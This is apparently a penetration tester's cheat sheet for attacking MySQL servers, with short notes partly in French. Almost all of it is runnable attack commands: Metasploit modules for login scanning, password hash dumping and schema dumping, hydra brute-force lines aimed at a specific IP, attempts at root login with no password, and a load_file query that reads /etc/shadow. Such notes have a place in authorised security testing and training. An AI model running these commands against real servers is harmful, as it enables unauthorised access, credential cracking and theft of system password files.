MySQl Enumeration

1. auxiliary/scanner/mysql/mysql_version
2. auxiliary/scanner/mysql/mysql_login
3. auxiliary/admin/mysql/mysql_enum
4. auxiliary/admin/mysql/mysql_sql
5. auxiliary/scanner/mysql/mysql_file_enum
6. auxiliary/scanner/mysql/mysql_hashdump
7. auxiliary/scanner/mysql/mysql_schemadump
8. auxiliary/scanner/mysql/mysql_writable_dirs

BruteForce

auxiliary/scanner/mysql/mysql_login
# hydra Brute Force
hydra -L usernames.txt -p 'password123' 192.168.2.143 mysql # mysql v4
hydra -L usernames.txt -p 'password123' 192.168.2.143 mysql5 # mysql v5

Connect

Local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Remote

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

MySQL Commands

mysql -u username -p -h hostname -P port

show databases;

use database_name;

show tables;

Metasploit: use auxiliary/scanner/mysql/mysql_file_enum si fichier sensible découvert :

mysql -h 192.71.145.3 -u root
select load_file("/etc/shadow");

Audit via nmap

nmap --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.139.160.3